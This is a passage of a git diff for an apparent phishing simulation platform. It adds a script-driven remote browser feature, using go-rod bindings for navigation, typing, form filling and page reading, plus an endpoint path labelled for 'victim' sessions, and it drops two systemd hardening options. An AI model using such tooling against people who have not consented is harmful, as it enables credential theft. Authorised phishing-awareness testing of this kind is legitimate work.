v1.1.0 + github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c github.com/enetx/surf v1.0.141 github.com/exaring/ja4plus v0.0.2 github.com/fatih/color v1.15.0 github.com/gin-contrib/zap v1.1.4 github.com/gin-gonic/gin v1.10.0 github.com/go-errors/errors v1.5.1 + github.com/go-rod/rod v0.116.2 github.com/google/uuid v1.3.1 + github.com/gorilla/websocket v1.5.3 github.com/klauspost/compress v1.18.1 github.com/oapi-codegen/nullable v1.1.0 github.com/pquerna/otp v1.4.0 @@ -50,6 +53,7 @@ require ( github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect + github.com/dlclark/regexp2 v1.11.4 // indirect github.com/enetx/g v1.0.194 // indirect github.com/enetx/http v1.0.19 // indirect github.com/enetx/http2 v1.0.20 // indirect @@ -64,6 +68,7 @@ require ( github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-playground/validator/v10 v10.22.0 // indirect + github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/goccy/go-json v0.10.3 // indirect github.com/golang-jwt/jwt/v5 v5.2.2 // indirect @@ -101,6 +106,11 @@ require ( github.com/wzshiming/socks5 v0.6.0 // indirect github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/yeqown/reedsolomon v1.0.0 // indirect + github.com/ysmood/fetchup v0.2.3 // indirect + github.com/ysmood/goob v0.4.0 // indirect + github.com/ysmood/got v0.40.0 // indirect + github.com/ysmood/gson v0.7.3 // indirect + github.com/ysmood/leakless v0.9.0 // indirect github.com/zeebo/blake3 v0.2.3 // indirect go.uber.org/mock v0.6.0 // indirect go.uber.org/multierr v1.11.0 // indirect diff --git a/backend/go.sum b/backend/go.sum index e90a2da..8362dcd 100644 --- a/backend/go.sum +++ b/backend/go.sum @@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo= +github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4= github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo= github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4= github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E= @@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA= +github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= @@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= @@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw= github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0= github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM= +github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ= +github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns= +github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= +github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= +github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg= +github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk= +github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q= +github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg= +github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= +github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= +github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE= +github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg= +github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU= +github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY= github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= @@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/backend/install/installer.go b/backend/install/installer.go index 783a67d..964fda6 100644 --- a/backend/install/installer.go +++ b/backend/install/installer.go @@ -374,6 +374,8 @@ func createUserAndGroup() error { "-r", "-g", serviceGroup, "-s", "/bin/false", + "-m", + "-d", "/var/lib/"+serviceUser, serviceUser, ) if err := cmd.Run(); err != nil { diff --git a/backend/install/systemd.service b/backend/install/systemd.service index 7b0fba8..b421608 100644 --- a/backend/install/systemd.service +++ b/backend/install/systemd.service @@ -15,10 +15,8 @@ NoNewPrivileges=true ProtectSystem=full ProtectHome=true RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX -RestrictNamespaces=true RestrictRealtime=true RestrictSUIDSGID=true -MemoryDenyWriteExecute=true Restart=always RestartSec=5s StartLimitBurst=3 diff --git a/backend/main.go b/backend/main.go index 220de17..863dda9 100644 --- a/backend/main.go +++ b/backend/main.go @@ -322,6 +322,13 @@ func main() { ) } adminRouter.Use(middlewares.IPLimiter) + + // read the seeded victim WS path for the remote browser endpoint + rbWSPath := "rbws" // fallback - real value is seeded at first startup + if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil { + rbWSPath = opt.Value.String() + } + adminServer := app.NewAdministrationServer( adminRouter, controllers, @@ -363,6 +370,7 @@ func main() { repositories, logger, certMagicConfig, + rbWSPath, ) var r *gin.Engine diff --git a/backend/model/remoteBrowser.go b/backend/model/remoteBrowser.go new file mode 100644 index 0000000..97788a1 --- /dev/null +++ b/backend/model/remoteBrowser.go @@ -0,0 +1,105 @@ +package model + +import ( + "encoding/json" + "fmt" + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/validate" + "github.com/phishingclub/phishingclub/vo" +) + +// RemoteBrowserConfig is the API-level config for a remote browser session. +type RemoteBrowserConfig struct { + Mode string `json:"mode"` // "local" | "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote only) + Proxy string `json:"proxy"` // socks5:// or http:// + Headless bool `json:"headless"` // run Chrome headless (mode=local) + Timeout int `json:"timeout"` // ms; 0 = default (60000) +} + +// RemoteBrowser is a saved remote browser script with its connection config. +type RemoteBrowser struct { + ID nullable.Nullable[uuid.UUID] `json:"id"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"` + Name nullable.Nullable[vo.String64] `json:"name"` + Description nullable.Nullable[vo.OptionalString1024] `json:"description"` + Script nullable.Nullable[vo.String1MB] `json:"script"` + Config nullable.Nullable[RemoteBrowserConfig] `json:"config"` + + Company *Company `json:"-"` +} + +// Validate checks required fields and config values. +func (m *RemoteBrowser) Validate() error { + if err := validate.NullableFieldRequired("name", m.Name); err != nil { + return err + } + if err := validate.NullableFieldRequired("script", m.Script); err != nil { + return err + } + if m.Config.IsSpecified() { + if cfg, err := m.Config.Get(); err == nil { + if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" { + return fmt.Errorf("config.mode must be 'local' or 'remote'") + } + if cfg.Mode == "remote" && cfg.Remote == "" { + return fmt.Errorf("config.remote is required when mode is 'remote'") + } + } + } + return nil +} + +// ToDBMap returns the fields that should be persisted. +func (m *RemoteBrowser) ToDBMap() map[string]any { + dbMap := map[string]any{} + if m.Name.IsSpecified() { + dbMap["name"] = nil + if name, err := m.Name.Get(); err == nil { + dbMap["name"] = name.String() + } + } + if m.Description.IsSpecified() { + dbMap["description"] = nil + if description, err := m.Description.Get(); err == nil { + dbMap["description"] = description.String() + } + } + if m.Script.IsSpecified() { + dbMap["script"] = nil + if script, err := m.Script.Get(); err == nil { + dbMap["script"] = script.String() + } + } + if m.Config.IsSpecified() { + dbMap["config"] = "" + if cfg, err := m.Config.Get(); err == nil { + if b, err := json.Marshal(cfg); err == nil { + dbMap["config"] = string(b) + } + } + } + if m.CompanyID.IsSpecified() { + if m.CompanyID.IsNull() { + dbMap["company_id"] = nil + } else { + dbMap["company_id"] = m.CompanyID.MustGet() + } + } + return dbMap +} + +// RemoteBrowserOverview is a lightweight listing model. +type RemoteBrowserOverview struct { + ID uuid.UUID `json:"id,omitempty"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + Name string `json:"name"` + Description string `json:"description"` + CompanyID *uuid.UUID `json:"companyID"` +} diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go new file mode 100644 index 0000000..006c790 --- /dev/null +++ b/backend/remotebrowser/browser.go @@ -0,0 +1,751 @@ +package remotebrowser + +import ( + "context" + "errors" + "fmt" + "strings" + "time" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/input" + "github.com/go-rod/rod/lib/proto" +) + +// RegisterBrowserBindings wires up all rod actions as callable JS functions +// on the provided target object. All actions block until completion. +// emitter may be nil (e.g. in withTimeout sub-sessions); screenshots and debug logs +// are silently dropped when nil. debug adds before/after log lines for every action. +// +// Debug symbol legend: +// +// → action starting ✓ action done … waiting ? reading = result value +func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, emitter *channelEmitter, debug bool, queryTimeout int) { + must := func(err error) { + if err != nil { + panic(vm.NewGoError(err)) + } + } + + // argStr returns the string value of a goja argument, or "" for undefined/null. + argStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + dbg := func(msg string) { + if debug && emitter != nil { + emitter.log("[dbg] " + msg) + } + } + + // readPage returns a page for read-only CDP queries (getNodeCount, getText, + // evaluate, screenshot, …). When queryTimeout > 0 it is bounded so a stalled + // browser can't freeze the goja listen loop. 0 means no extra timeout. + readPage := func() (*rod.Page, func()) { + if queryTimeout > 0 { + tCtx, cancel := context.WithTimeout(page.GetContext(), time.Duration(queryTimeout)*time.Millisecond) + return page.Context(tCtx), cancel + } + return page, func() {} + } + + // collectSelectors returns all non-empty string arguments as CSS selectors. + collectSelectors := func(call goja.FunctionCall) []string { + var sels []string + for _, a := range call.Arguments { + if s := argStr(a); s != "" { + sels = append(sels, s) + } + } + if len(sels) == 0 { + panic(vm.NewTypeError("at least one selector is required")) + } + return sels + } + + // pollUntilAny polls condJS (a JS function expression) every 100 ms until it + // returns a non-empty / non-null string, which is treated as the matched selector. + pollUntilAny := func(condJS string) (string, error) { + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + return "", page.GetContext().Err() + case <-ticker.C: + res, err := page.Eval(condJS) + if err != nil { + return "", err + } + if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" { + return s, nil + } + } + } + } + + // ------------------------------------------------------------------------- + // Navigation + // ------------------------------------------------------------------------- + + pc.Set("navigate", func(call goja.FunctionCall) goja.Value { + rawURL := argStr(call.Argument(0)) + dbg("→ navigate " + rawURL) + must(ValidateNavigateURL(rawURL)) + must(page.Navigate(rawURL)) + must(page.WaitLoad()) + dbg("✓ navigate " + rawURL) + return goja.Undefined() + }) + + // navigateToHistoryOffset navigates by history offset without waiting for + // a load event (avoids deadlock on cached pages). + navigateToHistoryOffset := func(offset int) error { + res, err := proto.PageGetNavigationHistory{}.Call(page) + if err != nil { + return err + } + targetIndex := res.CurrentIndex + offset + if targetIndex < 0 || targetIndex >= len(res.Entries) { + return fmt.Errorf("no history entry at offset %d", offset) + } + targetEntry := res.Entries[targetIndex] + targetURL := targetEntry.URL + navCmd := proto.PageNavigateToHistoryEntry{EntryID: targetEntry.ID} + if err := navCmd.Call(page); err != nil { + return err + } + deadline := time.Now().Add(30 * time.Second) + for time.Now().Before(deadline) { + info, err := page.Info() + if err != nil { + return err + } + if info.URL == targetURL { + return nil + } + select { + case <-page.GetContext().Done(): + return page.GetContext().Err() + case <-time.After(50 * time.Millisecond): + } + } + return fmt.Errorf("timed out waiting for navigation to %s", targetURL) + } + + pc.Set("navigateBack", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateBack") + must(navigateToHistoryOffset(-1)) + dbg("✓ navigateBack") + return goja.Undefined() + }) + + pc.Set("navigateForward", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateForward") + must(navigateToHistoryOffset(+1)) + dbg("✓ navigateForward") + return goja.Undefined() + }) + + pc.Set("reload", func(call goja.FunctionCall) goja.Value { + dbg("→ reload") + must(page.Reload()) + dbg("✓ reload") + return goja.Undefined() + }) + + pc.Set("stop", func(call goja.FunctionCall) goja.Value { + dbg("→ stop") + must(proto.PageStopLoading{}.Call(page)) + dbg("✓ stop") + return goja.Undefined() + }) + + pc.Set("location", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= location " + info.URL) + return vm.ToValue(info.URL) + }) + + pc.Set("title", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= title " + info.Title) + return vm.ToValue(info.Title) + }) + + // ------------------------------------------------------------------------- + // Waiting — all methods accept one or more selectors and return the first + // selector that satisfies the condition. + // ------------------------------------------------------------------------- + + pc.Set("waitVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitVisible %v", sels)) + var parts []string + for _, sel := range sels { + // Re-queries the document every tick; non-zero bounding box = visible. + parts = append(parts, fmt.Sprintf( + "(()=>{var el=document.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()", + sel, sel, + )) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitReady", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitReady %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "(()=>{var el=document.querySelector(%q);if(!el||el.disabled)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()", + sel, sel, + )) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitReady " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitEnabled", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitEnabled %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "(()=>{var el=document.querySelector(%q);return(el&&!el.disabled)?%q:null})()", + sel, sel, + )) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitEnabled " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitSelected", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitSelected %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return el&&el.selected?%q:null})()", sel, sel)) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitSelected " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitNotVisible %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return !el||el.offsetParent===null?%q:null})()", sel, sel)) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitNotVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotPresent", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + dbg(fmt.Sprintf("… waitNotPresent %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf("(!document.querySelector(%q)?%q:null)", sel, sel)) + } + matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||"))) + must(err) + dbg("✓ waitNotPresent " + matched) + return vm.ToValue(matched) + }) + + // ------------------------------------------------------------------------- + // Mouse + // ------------------------------------------------------------------------- + + pc.Set("click", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ click " + sel) + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => this.click()`) + must(evalErr) + } else { + must(err) + } + } + dbg("✓ click " + sel) + return goja.Undefined() + }) + + pc.Set("doubleClick", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ doubleClick " + sel) + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => { this.click(); this.click(); }`) + must(evalErr) + } else { + must(err) + } + } + dbg("✓ doubleClick " + sel) + return goja.Undefined() + }) + + pc.Set("clickXY", func(call goja.FunctionCall) goja.Value { + x := call.Argument(0).ToFloat() + y := call.Argument(1).ToFloat() + dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y)) + must(page.Mouse.MoveTo(proto.Point{X: x, Y: y})) + must(page.Mouse.Click(proto.InputMouseButtonLeft, 1)) + dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y)) + return goja.Undefined() + }) + + pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ scrollIntoView " + sel) + el, err := page.Element(sel) + must(err) + must(el.ScrollIntoView()) + dbg("✓ scrollIntoView " + sel) + return goja.Undefined() + }) + + // ------------------------------------------------------------------------- + // Keyboard + // ------------------------------------------------------------------------- + + pc.Set("sendKeys", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + text := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ sendKeys %s (%d chars)", sel, len(text))) + el, err := page.Element(sel) + must(err) + must(el.Focus()) + must(page.InsertText(text)) + dbg("✓ sendKeys " + sel) + return goja.Undefined() + }) + + // namedKeys maps CDP/browser key name strings to rod input.Key constants. + // For single-character keys the rune value is used directly as a fallback. + namedKeys := map[string]input.Key{ + "Enter": input.Enter, "Return": input.Enter, + "Tab": input.Tab, "Escape": input.Escape, "Backspace": input.Backspace, + "Delete": input.Delete, "Insert": input.Insert, + "Home": input.Home, "End": input.End, + "PageUp": input.PageUp, "PageDown": input.PageDown, + "ArrowLeft": input.ArrowLeft, "ArrowRight": input.ArrowRight, + "ArrowUp": input.ArrowUp, "ArrowDown": input.ArrowDown, + " ": input.Space, "Space": input.Space, + "F1": input.F1, "F2": input.F2, "F3": input.F3, "F4": input.F4, + "F5": input.F5, "F6": input.F6, "F7": input.F7, "F8": input.F8, + "F9": input.F9, "F10": input.F10, "F11": input.F11, "F12": input.F12, + "ShiftLeft": input.ShiftLeft, "ShiftRight": input.ShiftRight, + "ControlLeft": input.ControlLeft, "ControlRight": input.ControlRight, + "AltLeft": input.AltLeft, "AltRight": input.AltRight, + } + + pc.Set("keyEvent", func(call goja.FunctionCall) goja.Value { + key := argStr(call.Argument(0)) + dbg("→ keyEvent " + key) + if k, ok := namedKeys[key]; ok { + must(page.Keyboard.Press(k)) + } else { + runes := []rune(key) + if len(runes) > 0 { + must(page.Keyboard.Press(input.Key(runes[0]))) + } + } + dbg("✓ keyEvent " + key) + return goja.Undefined() + }) + + // ------------------------------------------------------------------------- + // Form + // ------------------------------------------------------------------------- + + pc.Set("clear", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ clear " + sel) + script := fmt.Sprintf(`() => { + var el = document.querySelector(%q); + if (!el) return; + var nativeInput = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value') + || Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype, 'value'); + if (nativeInput && nativeInput.set) { + nativeInput.set.call(el, ''); + } else { + el.value = ''; + } + el.dispatchEvent(new Event('input', { bubbles: true })); + el.dispatchEvent(new Event('change', { bubbles: true })); + }`, sel) + _, err := page.Eval(script) + must(err) + dbg("✓ clear " + sel) + return goja.Undefined() + }) + + pc.Set("focus", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ focus " + sel) + el, err := page.Element(sel) + must(err) + must(el.Focus()) + dbg("✓ focus " + sel) + return goja.Undefined() + }) + + pc.Set("blur", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ blur " + sel) + _, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.blur() }", sel)) + must(err) + dbg("✓ blur " + sel) + return goja.Undefined() + }) + + pc.Set("submit", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ submit " + sel) + _, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.submit() }", sel)) + must(err) + dbg("✓ submit " + sel) + return goja.Undefined() + }) + + pc.Set("setValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + val := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ setValue %s = %q", sel, val)) + el, err := page.Element(sel) + must(err) + must(el.Input(val)) + dbg("✓ setValue " + sel) + return goja.Undefined() + }) + + pc.Set("getValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getValue " + sel) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property("value") + must(err) + val := prop.Str() + dbg(fmt.Sprintf("= getValue %s %q", sel, val)) + return vm.ToValue(val) + }) + + // ------------------------------------------------------------------------- + // DOM reading + // ------------------------------------------------------------------------- + + pc.Set("getText", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getText " + sel) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + text, err := el.Text() + must(err) + dbg(fmt.Sprintf("= getText %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getTextContent", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getTextContent " + sel) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + res, err := el.Eval("() => this.textContent") + must(err) + text := res.Value.Str() + dbg(fmt.Sprintf("= getTextContent %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getInnerHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getInnerHTML " + sel) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + res, err := el.Eval("() => this.innerHTML") + must(err) + html := res.Value.Str() + dbg(fmt.Sprintf("= getInnerHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getOuterHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getOuterHTML " + sel) + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + html, err := el.HTML() + must(err) + dbg(fmt.Sprintf("= getOuterHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getAttribute", func(call goja.FunctionCall) goja.Value { + sel 